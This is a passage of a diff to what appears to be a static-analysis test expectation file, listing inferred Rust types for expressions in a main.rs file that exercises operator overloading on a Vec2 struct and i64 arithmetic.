+| main.rs:1397:20:1397:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1397:20:1397:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1397:20:1397:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1397:29:1397:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1397:29:1397:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1403:26:1403:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1403:26:1403:34 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1403:37:1403:39 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1404:13:1404:16 | self | | file://:0:0:0:0 | & | +| main.rs:1404:13:1404:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1404:13:1404:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1404:13:1404:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1404:23:1404:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1404:23:1404:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1405:13:1405:16 | self | | file://:0:0:0:0 | & | +| main.rs:1405:13:1405:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1405:13:1405:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1405:13:1405:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1405:23:1405:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1405:23:1405:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1411:18:1411:21 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1411:24:1411:26 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1411:43:1416:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1412:13:1415:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1413:20:1413:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1413:20:1413:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1413:20:1413:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1413:29:1413:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1413:29:1413:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1414:20:1414:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1414:20:1414:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1414:20:1414:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1414:29:1414:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1414:29:1414:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1420:25:1420:33 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1420:25:1420:33 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1420:36:1420:38 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1421:13:1421:16 | self | | file://:0:0:0:0 | & | +| main.rs:1421:13:1421:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1421:13:1421:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1421:13:1421:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1421:23:1421:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1421:23:1421:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1422:13:1422:16 | self | | file://:0:0:0:0 | & | +| main.rs:1422:13:1422:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1422:13:1422:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1422:13:1422:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1422:23:1422:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1422:23:1422:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1428:19:1428:22 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1428:25:1428:27 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1428:44:1433:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1429:13:1432:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1430:20:1430:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1430:20:1430:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1430:20:1430:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1430:29:1430:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1430:29:1430:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1431:20:1431:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1431:20:1431:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1431:20:1431:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1431:29:1431:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1431:29:1431:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1437:26:1437:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1437:26:1437:34 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1437:37:1437:39 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1438:13:1438:16 | self | | file://:0:0:0:0 | & | +| main.rs:1438:13:1438:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1438:13:1438:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1438:13:1438:27 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1438:23:1438:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1438:23:1438:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1439:13:1439:16 | self | | file://:0:0:0:0 | & | +| main.rs:1439:13:1439:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1439:13:1439:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1439:13:1439:27 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1439:23:1439:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1439:23:1439:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1445:16:1445:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1445:22:1445:24 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1445:40:1450:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1446:13:1449:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1447:20:1447:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1447:20:1447:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1447:20:1447:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1447:30:1447:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1448:20:1448:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1448:20:1448:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1448:20:1448:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1448:30:1448:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1454:23:1454:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1454:23:1454:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1454:34:1454:36 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1455:13:1455:16 | self | | file://:0:0:0:0 | & | +| main.rs:1455:13:1455:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1455:13:1455:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1455:13:1455:26 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1455:24:1455:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1456:13:1456:16 | self | | file://:0:0:0:0 | & | +| main.rs:1456:13:1456:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1456:13:1456:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1456:13:1456:26 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1456:24:1456:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1462:16:1462:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1462:22:1462:24 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1462:40:1467:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1463:13:1466:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1464:20:1464:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1464:20:1464:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1464:20:1464:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1464:30:1464:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1465:20:1465:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1465:20:1465:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1465:20:1465:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1465:30:1465:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1471:23:1471:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1471:23:1471:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1471:34:1471:36 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1472:13:1472:16 | self | | file://:0:0:0:0 | & | +| main.rs:1472:13:1472:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1472:13:1472:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1472:13:1472:26 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1472:24:1472:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1473:13:1473:16 | self | | file://:0:0:0:0 | & | +| main.rs:1473:13:1473:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1473:13:1473:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1473:13:1473:26 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1473:24:1473:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1479:16:1479:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1479:30:1484:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1480:13:1483:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1481:20:1481:26 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1481:21:1481:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1481:21:1481:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1482:20:1482:26 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1482:21:1482:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1482:21:1482:26 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1489:16:1489:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1489:30:1494:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1490:13:1493:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1491:20:1491:26 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1491:21:1491:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1491:21:1491:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1492:20:1492:26 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1492:21:1492:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1492:21:1492:26 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1498:15:1498:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1498:15:1498:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1498:22:1498:26 | other | | file://:0:0:0:0 | & | +| main.rs:1498:22:1498:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1498:44:1500:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:13:1499:16 | self | | file://:0:0:0:0 | & | +| main.rs:1499:13:1499:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:13:1499:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1499:13:1499:29 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:13:1499:50 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:23:1499:27 | other | | file://:0:0:0:0 | & | +| main.rs:1499:23:1499:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:23:1499:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1499:34:1499:37 | self | | file://:0:0:0:0 | & | +| main.rs:1499:34:1499:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:34:1499:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1499:34:1499:50 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:44:1499:48 | other | | file://:0:0:0:0 | & | +| main.rs:1499:44:1499:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:44:1499:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1502:15:1502:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1502:15:1502:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | | main.rs:1502:22:1502:26 | other | | file://:0:0:0:0 | & | -| main.rs:1502:22:1502:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:22:1502:28 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1502:33:1502:36 | self | | file://:0:0:0:0 | & | -| main.rs:1502:33:1502:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:33:1502:38 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1502:33:1502:48 | ... > ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1502:42:1502:46 | other | | file://:0:0:0:0 | & | -| main.rs:1502:42:1502:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:42:1502:48 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1505:15:1505:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1505:15:1505:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1505:22:1505:26 | other | | file://:0:0:0:0 | & | -| main.rs:1505:22:1505:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1505:44:1507:9 | { ... } | | {EXTERNAL LOCATION} | bool | -| main.rs:1506:13:1506:16 | self | | file://:0:0:0:0 | & | -| main.rs:1506:13:1506:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:13:1506:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1506:13:1506:29 | ... >= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1506:13:1506:50 | ... && ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1506:23:1506:27 | other | | file://:0:0:0:0 | & | -| main.rs:1506:23:1506:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:23:1506:29 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1506:34:1506:37 | self | | file://:0:0:0:0 | & | -| main.rs:1506:34:1506:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:34:1506:39 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1506:34:1506:50 | ... >= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1506:44:1506:48 | other | | file://:0:0:0:0 | & | -| main.rs:1506:44:1506:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:44:1506:50 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1513:13:1513:18 | i64_eq | | {EXTERNAL LOCATION} | bool | -| main.rs:1513:22:1513:35 | (...) | | {EXTERNAL LOCATION} | bool | -| main.rs:1513:23:1513:26 | 1i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1513:23:1513:34 | ... == ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1513:31:1513:34 | 2i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1514:13:1514:18 | i64_ne | | {EXTERNAL LOCATION} | bool | -| main.rs:1514:22:1514:35 | (...) | | {EXTERNAL LOCATION} | bool | -| main.rs:1514:23:1514:26 | 3i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1514:23:1514:34 | ... != ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1514:31:1514:34 | 4i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1515:13:1515:18 | i64_lt | | {EXTERNAL LOCATION} | bool | -| main.rs:1515:22:1515:34 | (...) | | {EXTERNAL LOCATION} | bool | -| main.rs:1515:23:1515:26 | 5i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1515:23:1515:33 | ... < ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1515:30:1515:33 | 6i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1516:13:1516:18 | i64_le | | {EXTERNAL LOCATION} | bool | -| main.rs:1516:22:1516:35 | (...) | | {EXTERNAL LOCATION} | bool | -| main.rs:1516:23:1516:26 | 7i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1516:23:1516:34 | ... <= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1516:31:1516:34 | 8i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1517:13:1517:18 | i64_gt | | {EXTERNAL LOCATION} | bool | -| main.rs:1517:22:1517:35 | (...) | | {EXTERNAL LOCATION} | bool | -| main.rs:1517:23:1517:26 | 9i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1517:23:1517:34 | ... > ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1517:30:1517:34 | 10i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1518:13:1518:18 | i64_ge | | {EXTERNAL LOCATION} | bool | -| main.rs:1518:22:1518:37 | (...) | | {EXTERNAL LOCATION} | bool | -| main.rs:1518:23:1518:27 | 11i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1518:23:1518:36 | ... >= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1518:32:1518:36 | 12i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1521:13:1521:19 | i64_add | | {EXTERNAL LOCATION} | i64 | -| main.rs:1521:23:1521:27 | 13i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1521:23:1521:35 | ... + ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1521:31:1521:35 | 14i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1522:13:1522:19 | i64_sub | | {EXTERNAL LOCATION} | i64 | -| main.rs:1522:23:1522:27 | 15i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1522:23:1522:35 | ... - ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1522:31:1522:35 | 16i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1523:13:1523:19 | i64_mul | | {EXTERNAL LOCATION} | i64 | -| main.rs:1523:23:1523:27 | 17i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1523:23:1523:35 | ... * ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1523:31:1523:35 | 18i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1524:13:1524:19 | i64_div | | {EXTERNAL LOCATION} | i64 | -| main.rs:1524:23:1524:27 | 19i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1524:23:1524:35 | ... / ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1524:31:1524:35 | 20i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1525:13:1525:19 | i64_rem | | {EXTERNAL LOCATION} | i64 | -| main.rs:1525:23:1525:27 | 21i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1525:23:1525:35 | ... % ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1525:31:1525:35 | 22i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1528:13:1528:30 | mut i64_add_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1528:34:1528:38 | 23i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1529:9:1529:22 | i64_add_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1529:9:1529:31 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1529:27:1529:31 | 24i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1531:13:1531:30 | mut i64_sub_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1531:34:1531:38 | 25i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1532:9:1532:22 | i64_sub_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1532:9:1532:31 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1532:27:1532:31 | 26i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1534:13:1534:30 | mut i64_mul_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1534:34:1534:38 | 27i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1535:9:1535:22 | i64_mul_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1535:9:1535:31 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1535:27:1535:31 | 28i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1537:13:1537:30 | mut i64_div_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1537:34:1537:38 | 29i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1538:9:1538:22 | i64_div_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1538:9:1538:31 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1538:27:1538:31 | 30i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1540:13:1540:30 | mut i64_rem_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1540:34:1540:38 | 31i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1541:9:1541:22 | i64_rem_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1541:9:1541:31 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1541:27:1541:31 | 32i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1544:13:1544:22 | i64_bitand | | {EXTERNAL LOCATION} | i64 | -| main.rs:1544:26:1544:30 | 33i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1544:26:1544:38 | ... & ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1544:34:1544:38 | 34i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1545:13:1545:21 | i64_bitor | | {EXTERNAL LOCATION} | i64 | -| main.rs:1545:25:1545:29 | 35i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1545:25:1545:37 | ... \| ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1545:33:1545:37 | 36i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1546:13:1546:22 | i64_bitxor | | {EXTERNAL LOCATION} | i64 | -| main.rs:1546:26:1546:30 | 37i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1546:26:1546:38 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1546:34:1546:38 | 38i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1547:13:1547:19 | i64_shl | | {EXTERNAL LOCATION} | i64 | -| main.rs:1547:23:1547:27 | 39i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1547:23:1547:36 | ... << ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1547:32:1547:36 | 40i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1548:13:1548:19 | i64_shr | | {EXTERNAL LOCATION} | i64 | -| main.rs:1548:23:1548:27 | 41i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1548:23:1548:36 | ... >> ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1548:32:1548:36 | 42i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1551:37:1551:41 | 43i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1552:9:1552:25 | i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1552:9:1552:34 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1552:30:1552:34 | 44i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1554:36:1554:40 | 45i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1555:9:1555:24 | i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1555:9:1555:33 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1555:29:1555:33 | 46i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1557:37:1557:41 | 47i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1558:9:1558:25 | i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1558:9:1558:34 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1558:30:1558:34 | 48i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1560:13:1560:30 | mut i64_shl_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1560:34:1560:38 | 49i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1561:9:1561:22 | i64_shl_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1561:9:1561:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1561:28:1561:32 | 50i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1563:13:1563:30 | mut i64_shr_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1563:34:1563:38 | 51i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1564:9:1564:22 | i64_shr_assign | | {EXTERNAL LOCATION} | i64 | -| main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1564:28:1564:32 | 52i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1566:13:1566:19 | i64_neg | | {EXTERNAL LOCATION} | i64 | -| main.rs:1566:23:1566:28 | - ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1566:24:1566:28 | 53i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1567:13:1567:19 | i64_not | | {EXTERNAL LOCATION} | i64 | -| main.rs:1567:23:1567:28 | ! ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1567:24:1567:28 | 54i64 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1571:13:1571:14 | v2 | | file://:0:0:0:0 | & | -| main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:13:1571:14 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:18:1571:36 | Vec2 {...} | | file://:0:0:0:0 | & | -| main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:18:1571:36 | Vec2 {...} | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i32 | -| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i64 | -| main.rs:1574:13:1574:19 | vec2_eq | | {EXTERNAL LOCATION} | bool | -| main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1574:23:1574:30 | ... == ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1574:29:1574:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1574:29:1574:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| 